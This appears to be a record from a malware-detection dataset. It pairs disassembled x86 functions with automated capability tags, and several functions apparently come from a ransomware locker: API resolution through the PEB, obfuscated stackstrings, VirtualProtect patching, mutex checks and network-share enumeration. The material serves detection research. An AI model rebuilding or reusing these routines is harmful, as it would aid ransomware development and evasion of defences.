joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100c3a70
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
test ebx, ebx
je 0x100c3c11
mov eax, dword [ebx]
mov ecx, ebx
mov eax, dword [eax + 0x280]
call eax
test al, al
je 0x100c3c11
mov eax, dword [0x102e7a18]
cmp dword [eax + 0x174], 0xffffffff
je 0x100c3c11
mov eax, dword [0x102e7c9c]
add eax, 0xffffff8e
xor eax, 0x6c0237f3
cmp dword [eax + ebx], 0
mov eax, dword [0x102e7c60]
setle cl
add eax, 0xffffff9d
xor eax, 0x6c0237e4
xor edi, edi
mov byte [eax + ebx], cl
mov eax, dword [0x102e7c54]
add eax, 0xffffffa0
xor eax, 0x6c0237e1
mov dword [eax + ebx + 0xc], 0
mov eax, dword [0x102e7c58]
add eax, 0xffffff9f
xor eax, 0x6c0237e2
mov dword [eax + ebx + 0xc], 0
mov ecx, dword [0x102e7c5c]
lea eax, [ecx - 0x62]
xor eax, 0x6c0237e3
mov edx, dword [eax + ebx + 0xc]
mov dword [ebp - 4], edx
test edx, edx
je 0x100c3b5e
lea eax, [ecx - 0x62]
xor eax, 0x6c0237e3
mov eax, dword [eax + ebx]
mov esi, dword [eax + edi*4]
lea ebx, [eax + edi*4]
test esi, esi
je 0x100c3b56
or eax, 0xffffffff
lock xadd dword [esi + 4], eax
jne 0x100c3b4a
mov eax, dword [esi]
mov ecx, esi
mov eax, dword [eax + 4]
call eax
test al, al
je 0x100c3b47
mov eax, dword [esi]
mov ecx, esi
push 1
call dword [eax]
mov edx, dword [ebp - 4]
mov dword [ebx], 0
mov ecx, dword [0x102e7c5c]
mov ebx, dword [ebp + 8]
inc edi
cmp edi, edx
jb 0x100c3b13
lea eax, [ecx - 0x62]
xor eax, 0x6c0237e3
lea ecx, [ebx + 8]
push 0
mov dword [eax + ebx + 0xc], 0
mov eax, dword [ebx + 8]
mov eax, dword [eax + 0x1c]
call eax
mov eax, dword [ebx + 8]
lea ecx, [ebx + 8]
push 0
mov eax, dword [eax + 0x14]
call eax
mov edx, dword [0x102e7a2c]
xor ebx, ebx
mov dword [ebp - 4], edx
mov eax, dword [edx + 0x28]
mov dword [ebp - 8], eax
test eax, eax
je 0x100c3c02
nop dword [eax]
mov eax, dword [edx + 0x1c]
lea ecx, [ebx*4]
mov dword [ebp - 0xc], ecx
mov ecx, dword [ecx + eax]
mov eax, dword [ecx]
mov eax, dword [eax + 0x30]
call eax
mov esi, eax
mov edi, 0x811c9dc5
xor ecx, ecx
inc ecx
cmp byte [ecx + esi], 0
jne 0x100c3bc0
xor edx, edx
test ecx, ecx
je 0x100c3be9
nop dword [eax]
movsx eax, byte [edx + esi]
inc edx
xor eax, edi
imul edi, eax, 0x1000193
cmp edx, ecx
jb 0x100c3bd0
cmp edi, 0x79705c5e
je 0x100c3bf4
inc ebx
cmp ebx, dword [ebp - 8]
jae 0x100c3c02
mov edx, dword [ebp - 4]
jmp 0x100c3ba0
mov eax, dword [ebp - 4]
mov ecx, dword [ebp - 0xc]
mov eax, dword [eax + 0x1c]
mov ecx, dword [ecx + eax]
jmp 0x100c3c04
xor ecx, ecx
push 0
push dword [ebp + 8]
push 0
call dword [0x102e7b04]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x100c9ce0
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100e366d
mov eax, dword fs:[0]
push eax
sub esp, 0x48
mov eax, dword [0x100f300c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, dword [0x102e7a18]
mov edi, dword [esi + 0x174]
test edi, edi
setg byte [ebp - 0x14]
cmp dword [0x102d33b4], 4
jne 0x100c9d49
mov edx, dword [esi + 0x4cb0]
add edx, dword [esi + 0x4cac]
mov ecx, dword [0x102e79c0]
push edx
push dword [esi + 0x4cb4]
mov eax, dword [ecx]
push dword [ebp - 0x14]
push edi
mov eax, dword [eax + 0xc]
call eax
cmp byte [0x102ecc20], 0
jne 0x100c9e89
movaps xmm0, xmmword [0x100e86f0]
xor eax, eax
movaps xmm2, xmmword [0x100e8850]
movups xmmword [ebp - 0x54], xmm0
mov word [ebp - 0x34], 0x6a6f
movaps xmm0, xmmword [0x100e8530]
movups xmmword [ebp - 0x44], xmm0
mov byte [ebp - 0x32], 0x29
nop
movups xmm0, xmmword [ebp + eax - 0x54]
movaps xmm1, xmm2
pxor xmm1, xmm0
movups xmmword [ebp + eax - 0x54], xmm1
add eax, 0x10
cmp eax, 0x20
jb 0x100c9d80
cmp eax, 0x23
jae 0x100c9dab
nop
xor byte [ebp + eax - 0x54], 0x29
inc eax
cmp eax, 0x23
jb 0x100c9da0
lea ecx, [ebp - 0x54]
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x20], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x1c], 0xf
mov byte [ebp - 0x30], 0
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x100c9dd0
sub ecx, edx
lea eax, [ebp - 0x54]
push ecx
push eax
lea ecx, [ebp - 0x30]
call fcn.100227d0
mov dword [ebp - 4], 0
mov edx, dword [0x102e7978]
test edx, edx
je 0x100c9dfc
mov edx, dword [edx + 0x50]
jmp 0x100c9dfe
xor edx, edx
mov eax, dword [0x102e7970]
test eax, eax
je 0x100c9e0c
mov eax, dword [eax + 0x18]
jmp 0x100c9e0e
xor eax, eax
lea ecx, [ebp - 0x30]
push ecx
push eax
lea ecx, [ebp - 0x18]
call fcn.1001c370
mov edi, dword [ebp - 0x18]
add esp, 8
mov ecx, dword [ebp - 0x1c]
inc edi
cmp ecx, 0x10
jb 0x100c9e58
mov edx, dword [ebp - 0x30]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x100c9e4e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x100c9e4e
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.100da479
add esp, 8
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 0x14]
push eax
push 0x40
push 4
push edi
mov dword [ebp - 0x14], 0
call esi
lea eax, [ebp - 0x14]
mov dword [edi], 0x3e
push eax
push dword [ebp - 0x14]
push 4
push edi
call esi
mov byte [0x102ecc20], 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.100d9ffe
mov esp, ebp
pop ebp
ret
Function at 0x100d7e10
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
cmp dword [0x102d3008], 0
push ebx
push esi
push edi
je 0x100d7fac
mov eax, dword [0x102e7a14]
mov ecx, dword [eax + 0xc]
test ecx, ecx
je 0x100d7fac
movss xmm0, dword [0x102d9f64]
xor ebx, ebx
mulss xmm0, dword [0x100e8010]
movss dword [ebp - 8], xmm0
test ecx, ecx
jle 0x100d7fac
xor ecx, ecx
mov dword [ebp - 4], ecx
nop word [eax + eax]
mov esi, dword [eax]
add esi, ecx
mov ecx, dword [esi]
test ecx, ecx
je 0x100d7f99
mov eax, dword [ecx]
mov eax, dword [eax + 0x260]
call eax
test al, al
je 0x100d7f94
mov edi, dword [esi]
mov eax, dword [0x102e7b3c]
cmp byte [eax + edi], 0
jne 0x100d7f94
mov eax, dword [edi + 8]
lea ecx, [edi + 8]
mov eax, dword [eax + 0x28]
call eax
mov edx, dword [0x102e7b7c]
add edx, 0xffffffd6
xor edx, 0x6c0237ab
lea eax, [eax*4 + 0x102ea77c]
mov dword [ebp - 0xc], eax
mov eax, dword [0x102d3008]
mov ecx, dword [edx + edi]
cmp ecx, dword [edx + eax]
jne 0x100d7f08
mov ecx, dword [0x102e7a7c]
mov eax, dword [ecx]
mov eax, dword [eax + 0x34]
call eax
test eax, eax
jne 0x100d7f08
mov ecx, dword [0x102d9dc8]
mov eax, dword [0x102d9dc4]
cmp eax, ecx
je 0x100d7f94
cmp dword [eax], 1
je 0x100d7ef2
add eax, 4
cmp eax, ecx
jne 0x100d7ee6
cmp eax, ecx
je 0x100d7f94
mov eax, dword [0x102d9eec]
movzx edx, word [0x102d9eee]
jmp 0x100d7f33
mov ecx, dword [0x102d9dc8]
mov eax, dword [0x102d9dc4]
cmp eax, ecx
je 0x100d7f94
cmp dword [eax], 0
je 0x100d7f23
add eax, 4
cmp eax, ecx
jne 0x100d7f17
cmp eax, ecx
je 0x100d7f94
mov eax, dword [0x102d9e5c]
movzx edx, word [0x102d9e5e]
movss xmm3, dword [0x100e8008]
mov ecx, eax
movzx eax, al
shr ecx, 8
mov word [esi + 0x24], 1
mov byte [esi + 0x26], 0
movd xmm2, eax
movzx eax, cl
cvtdq2ps xmm2, xmm2
movd xmm1, eax
movzx eax, dl
cvtdq2ps xmm1, xmm1
movd xmm0, eax
mov eax, dword [ebp - 0xc]
cvtdq2ps xmm0, xmm0
mulss xmm2, xmm3
mulss xmm0, xmm3
mulss xmm1, xmm3
movss dword [esi + 0xc], xmm0
movss xmm0, dword [ebp - 8]
movss dword [esi + 4], xmm2
movss dword [esi + 8], xmm1
mulss xmm0, dword [eax]
movss dword [esi + 0x10], xmm0
mov eax, dword [0x102e7a14]
mov ecx, dword [ebp - 4]
inc ebx
add ecx, 0x38
mov dword [ebp - 4], ecx
cmp ebx, dword [eax + 0xc]
jl 0x100d7e60
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x401000
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push esi
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x10]
push eax
call fcn.00402ca0
add esp, 0x10
call dword [ebp - 4]
push 0x306c
push 0
push eax
call dword [ebp - 8]
push 0x306c
mov esi, eax
push 0
push esi
call fcn.00410280
mov ecx, dword [ebp - 0xc]
mov dword [esi + 8], ecx
mov ecx, dword [ebp - 4]
mov dword [esi + 0xc], ecx
mov eax, dword [ebp - 8]
mov dword [esi + 0x10], eax
mov eax, dword [ebp - 0x10]
mov dword [esi], eax
call fcn.00407c10
push 0
push esi
call fcn.00407d30
push esi
call fcn.00402e30
push esi
call fcn.00406030
push esi
call fcn.00410990
push esi
call fcn.00404d00
add esp, 0x24
test eax, eax
jne 0x401094
push str.____Init_error___config_signature_not_found._n
call fcn.00406130
add esp, 4
push 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push esi
call fcn.00404d60
add esp, 4
cmp dword [esi + 0x178], 3
je 0x4010b9
push esi
call fcn.00405610
push str.Program_started._n
call fcn.00406180
add esp, 8
push esi
call fcn.00404ab0
push esi
call fcn.00404a40
push esi
call fcn.004052d0
add esp, 0xc
test eax, eax
jne 0x4010e7
push str.____Error_parsing_and_loading_config___exiting._n
call fcn.00406130
add esp, 4
push 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push str.___JSON_config_loaded_successfully_n
call fcn.00406130
push esi
call fcn.00405000
push esi
call fcn.00406830
push esi
call fcn.00404e10
add esp, 0x10
cmp dword [esi + 0x188], 0
jne 0x40111e
push esi
call fcn.00407ed0
push esi
call fcn.00407d80
add esp, 8
push esi
call fcn.00405980
push esi
call fcn.00402a00
push str.____All_task_finished__locker_exiting._n
call fcn.00406130
add esp, 0xc
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x401d10
Capabilities:
Get disk size

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
mov ebx, dword [ebp + 8]
xor ecx, ecx
mov dword [ebp - 4], ecx
mov dword [ebp - 8], ecx
cmp dword [ebx + 0xe40], ecx
jle 0x401e40
push esi
push edi
lea edi, [ebx + 0xe50]
mov eax, ebx
mov dword [ebp - 0xc], edi
nop dword [eax + eax]
mov ebx, dword [edi]
xor edi, edi
cmp dword [ebx + 8], edi
jle 0x401e11
lea esi, [ebx + 0xc]
lea eax, [ebp - 0x1c]
mov dword [ebp - 0x14], 0
push eax
lea eax, [ebp - 0x24]
mov dword [ebp - 0x10], 0
push eax
lea eax, [ebp - 0x14]
mov dword [ebp - 0x24], 0
push eax
push esi
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 0
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
test eax, eax
jne 0x401da8
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push esi
push str.____error_call_GetDiskFreeSpaceExW__ws___code__d_n
call fcn.00406130
add esp, 0xc
jmp 0x401df1
mov eax, dword [ebp + 8]
cmp dword [eax + 0x3068], 0
jne 0x401dd0
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x10]
shrd ecx, eax, 0x14
push ecx
push esi
shr eax, 0x14
push str.___Free_space_of_path__ws:__d_MB_n
call fcn.00406130
add esp, 0xc
push 0
push 0x64
push dword [ebp - 0x18]
push dword [ebp - 0x1c]
call fcn.0040f850
push dword [ebp - 0x20]
push dword [ebp - 0x24]
push edx
push eax
call fcn.0040f950
cmp eax, 2
jle 0x401e06
inc edi
add esi, 0x20a
cmp edi, dword [ebx + 8]
jl 0x401d50
mov ecx, dword [ebp - 4]
jmp 0x401e0e
mov ecx, 1
mov dword [ebp - 4], ecx
mov eax, dword [ebp + 8]
mov ebx, dword [ebp - 8]
mov edi, dword [ebp - 0xc]
inc ebx
add edi, 0x30
mov dword [ebp - 8], ebx
mov dword [ebp - 0xc], edi
cmp ebx, dword [eax + 0xe40]
jl 0x401d40
pop edi
pop esi
mov dword [eax + 0x3068], 1
mov eax, ecx
pop ebx
mov esp, ebp
pop ebp
ret
mov dword [ebx + 0x3068], 1
mov eax, ecx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x401e60
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov dword [ebp - 4], 0xffffffff
lea edi, [ebx + 0x14c8]
push edi
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
xor esi, esi
cmp dword [ebx + 0x1184], esi
jle 0x401eb8
lea edi, [ebx + 0x1488]
nop
mov eax, dword [edi]
test eax, eax
je 0x401ee5
push 0
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
jne 0x401ed3
inc esi
add edi, 4
cmp esi, dword [ebx + 0x1184]
jl 0x401e90
lea edi, [ebx + 0x14c8]
mov eax, dword [ebp - 4]
test eax, eax
jns 0x401ef2
push edi
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x401e77
push dword [ebx + esi*4 + 0x1488]
mov dword [ebp - 4], esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x401eb2
mov eax, esi
lea edi, [ebx + 0x14c8]
mov dword [ebp - 4], eax
jmp 0x401ebb
mov edx, dword [ebp + 0xc]
lea esi, [eax + eax*2]
add esi, esi
mov ecx, dword [ebx + esi*8 + 0x1194]
add ecx, 0xc
movzx eax, word [edx]
lea edx, [edx + 2]
mov word [ecx], ax
lea ecx, [ecx + 2]
test ax, ax
jne 0x401f04
push 0
add esi, 0x231
push 0
lea eax, [ebx + esi*8]
push eax
push 0x407b30
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [ebp - 4]
push edi
mov dword [ebx + ecx*4 + 0x1488], eax
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x402940
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
push 0x30
call fcn.00406370
mov edi, eax
mov eax, dword [ebp + 8]
push 0x3d38
mov dword [edi], 2
mov dword [edi + 4], eax
call fcn.00406370
mov dword [edi + 0xc], eax
add esp, 8
mov dword [eax + 8], 1
mov eax, dword [edi + 0xc]
mov dword [eax + 4], 1
mov eax, dword [edi + 0xc]
mov dword [eax], 1
lea eax, [edi + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov ebx, dword [ebp + 0xc]
xor esi, esi
movzx eax, word [ebx]
test ax, ax
je 0x4029ba
mov edx, eax
mov ecx, 0xc
mov eax, dword [edi + 0xc]
lea esi, [esi + 1]
lea ecx, [ecx + 2]
mov word [ecx + eax - 2], dx
movzx edx, word [ebx + esi*2]
test dx, dx
jne 0x4029a3
mov ebx, dword [ebp + 8]
lea esi, [ebx + 0x15a4]
push esi
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
inc dword [ebx + 0x15bc]
push esi
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
push 0
push 0
push edi
push 0x407ca0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0x402ca0
Capabilities:
Access peb ldr_data
Contain obfuscated stackstrings
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword fs:[0x30]
xorps xmm0, xmm0
movups xmmword [ebp - 0x24], xmm0
push ebx
push esi
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0xc], 0
mov eax, dword [eax + 0xc]
push edi
push 1
push 0x1a
mov esi, dword [eax + 0xc]
lea eax, [ebp - 0x24]
push eax
mov dword [ebp - 0x24], 0x65006b
mov dword [ebp - 0x20], 0x6e0072
mov dword [ebp - 0x1c], 0x6c0065
mov dword [ebp - 0x18], 0x320033
mov dword [ebp - 0x14], 0x64002e
mov dword [ebp - 0x10], 0x6c006c
mov dword [ebp - 0xc], 0
push dword [esi + 0x30]
call fcn.00408280
add esp, 0x10
test eax, eax
je 0x402d39
nop dword [eax]
mov esi, dword [esi]
lea eax, [ebp - 0x24]
push 1
push 0x1a
push eax
push dword [esi + 0x30]
call fcn.00408280
add esp, 0x10
test eax, eax
jne 0x402d20
mov ecx, dword [esi + 0x18]
xor edi, edi
mov dword [ebp - 0x24], 0x50746547
mov dword [ebp - 0x20], 0x41636f72
mov dword [ebp - 0x1c], 0x65726464
mov dword [ebp - 0x18], 0x7373
mov eax, dword [ecx + 0x3c]
mov dword [ebp - 8], ecx
mov eax, dword [eax + ecx + 0x78]
add eax, ecx
mov dword [ebp - 4], eax
mov esi, dword [eax + 0x20]
mov ebx, dword [eax + 0x24]
add esi, ecx
add ebx, ecx
cmp dword [eax + 0x18], edi
jbe 0x402e1d
nop dword [eax]
mov eax, dword [esi]
push 0
add eax, ecx
lea ecx, [ebp - 0x24]
push 0xf
push ecx
push eax
call fcn.00408280
add esp, 0x10
test eax, eax
je 0x402db2
mov eax, dword [ebp - 4]
inc edi
mov ecx, dword [ebp - 8]
add esi, 4
add ebx, 2
cmp edi, dword [eax + 0x18]
jb 0x402d80
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
movzx ecx, word [ebx]
test ecx, ecx
js 0x402e1d
mov eax, dword [ebp - 4]
mov edi, dword [ebp - 8]
mov eax, dword [eax + 0x1c]
lea eax, [eax + ecx*4]
mov esi, dword [eax + edi]
lea eax, [ebp - 0x24]
push eax
add esi, edi
mov dword [ebp - 0x24], 0x50746547
push edi
mov dword [ebp - 0x20], 0x65636f72
mov dword [ebp - 0x1c], 0x65487373
mov dword [ebp - 0x18], 0x7061
call esi
mov ecx, dword [ebp + 0x10]
mov dword [ebp - 0x24], 0x70616548
mov dword [ebp - 0x20], 0x6f6c6c41
mov dword [ebp - 0x1c], 0x63
mov dword [ecx], eax
lea eax, [ebp - 0x24]
push eax
push edi
call esi
mov ecx, dword [ebp + 0x14]
mov dword [ecx], eax
mov eax, dword [ebp + 0xc]
mov dword [eax], esi
mov eax, dword [ebp + 8]
mov dword [eax], edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x402e30
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push esi
mov esi, dword [ebp + 8]
lea eax, [ebp - 0x1c]
push eax
xorps xmm0, xmm0
mov dword [ebp - 0x1c], 0x70616548
movups xmmword [ebp - 0x10], xmm0
mov eax, dword [esi + 8]
push dword [esi]
mov dword [ebp - 0x18], 0x6c416552
mov dword [ebp - 0x14], 0x636f6c
call eax
mov dword [esi + 0x14], eax
lea eax, [ebp - 0x1c]
push eax
push dword [esi]
mov eax, dword [esi + 8]
mov dword [ebp - 0x1c], 0x70616548
mov dword [ebp - 0x18], 0x65657246
mov dword [ebp - 0x14], 0
call eax
mov dword [esi + 0x18], eax
mov eax, dword [0x411470]
movq xmm0, qword [str.LoadLibraryA]
mov dword [ebp - 0x14], eax
mov al, byte [0x411474]
mov byte [ebp - 0x10], al
lea eax, [ebp - 0x1c]
push eax
push dword [esi]
mov eax, dword [esi + 8]
movq qword [ebp - 0x1c], xmm0
call eax
mov dword [esi + 0x1c], eax
mov cx, word [0x411480]
movq xmm0, qword [str.ntdll.dll]
mov word [ebp - 0x14], cx
lea ecx, [ebp - 0x1c]
push ecx
movq qword [ebp - 0x1c], xmm0
call eax
mov dword [esi + 4], eax
mov cl, byte [0x41149c]
movups xmm0, xmmword [str.NtQuerySystemInformation]
mov byte [ebp - 4], cl
lea ecx, [ebp - 0x1c]
push ecx
movups xmmword [ebp - 0x1c], xmm0
push eax
movq xmm0, qword [0x411494]
mov eax, dword [esi + 8]
movq qword [ebp - 0xc], xmm0
call eax
mov dword [esi + 0x20], eax
movzx eax, word [0x4114b0]
movups xmm0, xmmword [str.NtDuplicateObject]
mov word [ebp - 0xc], ax
lea eax, [ebp - 0x1c]
push eax
push dword [esi + 4]
mov eax, dword [esi + 8]
movups xmmword [ebp - 0x1c], xmm0
call eax
mov dword [esi + 0x24], eax
mov eax, dword [0x4114bc]
movq xmm0, qword [str.NtQueryObject]
mov dword [ebp - 0x14], eax
movzx eax, word [0x4114c0]
mov word [ebp - 0x10], ax
lea eax, [ebp - 0x1c]
push eax
push dword [esi + 4]
mov eax, dword [esi + 8]
movq qword [ebp - 0x1c], xmm0
call eax
mov dword [esi + 0x28], eax
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x404a40
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push str.___Checking_mutex..._n
call fcn.00406130
mov eax, dword [ebp + 8]
add esp, 4
cmp dword [eax + 0x17c], 0
je 0x404a69
mov dword [ebp + 8], str.____Skip_mutex_check_by__nomutex_param._n
pop ebp
jmp fcn.00406130
push esi
add eax, 0x3042
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
test esi, esi
pop esi
je 0x404a8e
cmp eax, 0xb7
jne 0x404aa3
push str.____Exiting_by_mutext_check_n
call fcn.00406130
add esp, 4
push 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]
pop ebp
ret
Function at 0x404b40
Capabilities:
Enumerate network shares

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
push ebx
mov ebx, dword [ebp + 0xc]
push esi
mov esi, dword [ebx]
cmp esi, dword [ebp + 0x14]
jl 0x404b60
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret
push edi
lea eax, [ebp - 0x14]
mov dword [ebp - 4], 0x4000
push eax
push dword [ebp + 0x10]
mov dword [ebp - 0xc], 0xffffffff
push 0
push 0
push 2
call sub.MPR.dll_WNetOpenEnumA
mov edi, eax
test edi, edi
je 0x404be6
push edi
push str.____WnetOpenEnumA_failed_with_error__d_n
call fcn.00406130
add esp, 8
cmp edi, 0x4b8
jne 0x404bdd
push pe_nt_image_headers32
lea eax, [ebp - 0x114]
push eax
push pe_nt_image_headers32
lea eax, [ebp - 0x214]
push eax
lea eax, [ebp + 0x14]
push eax
call sub.MPR.dll_WNetGetLastErrorA
lea ecx, [ebp - 0x114]
push ecx
lea ecx, [ebp - 0x214]
push ecx
push eax
push dword [ebp + 0x14]
push str.____WnetOpenEnumA_extended_error_code:__d___d__n_Description:__s_nProvider:__s_n
call fcn.00406130
add esp, 0x14
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
push dword [ebp - 4]
call fcn.00406370
add esp, 4
mov edi, eax
push dword [ebp - 4]
push 0
push edi
call fcn.00410280
add esp, 0xc
lea eax, [ebp - 4]
push eax
push edi
lea eax, [ebp - 0xc]
push eax
push dword [ebp - 0x14]
call sub.MPR.dll_WNetEnumResourceA
test eax, eax
jne 0x404ca6
mov dword [ebp - 8], eax
cmp dword [ebp - 0xc], eax
jbe 0x404bf3
mov ebx, edi
mov dword [ebp - 0x10], edi
cmp dword [edi + 4], 1
mov ecx, dword [ebp + 0x14]
jne 0x404c6e
cmp dword [edi + 8], 3
jne 0x404c6e
cmp esi, ecx
jge 0x404c6e
mov ecx, dword [edi + 0x14]
xor eax, eax
mov dl, byte [ecx]
test dl, dl
je 0x404c67
mov ebx, dword [ebp + 8]
nop dword [eax + eax]
mov ecx, dword [ebx + esi*4]
lea eax, [eax + 1]
mov byte [eax + ecx - 1], dl
mov ecx, dword [edi + 0x14]
mov dl, byte [eax + ecx]
test dl, dl
jne 0x404c50
mov ebx, dword [ebp - 0x10]
mov eax, dword [ebp - 8]
inc esi
mov ecx, dword [ebp + 0x14]
test dword [ebx + 0xc], 2
je 0x404c92
mov eax, dword [ebp + 0xc]
push ecx
push ebx
push eax
push dword [ebp + 8]
mov dword [eax], esi
call fcn.00404b40
mov esi, dword [ebp + 0xc]
add esp, 0x10
mov eax, dword [ebp - 8]
mov esi, dword [esi]
inc eax
add ebx, 0x20
mov dword [ebp - 8], eax
mov dword [ebp - 0x10], ebx
cmp eax, dword [ebp - 0xc]
jb 0x404c27
jmp 0x404bf3
cmp eax, 0x103
je 0x404cbb
push eax
push str.____WNetEnumResource_failed_with_error__d_n
call fcn.00406130
add esp, 8
mov eax, dword [ebp + 0xc]
push edi
mov dword [eax], esi
call fcn.004063c0
add esp, 4
push dword [ebp - 0x14]
call sub.MPR.dll_WNetCloseEnum
test eax, eax
je 0x404cec
push eax
push str.WNetCloseEnum_failed_with_error__d_n
call fcn.00406130
add esp, 8
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret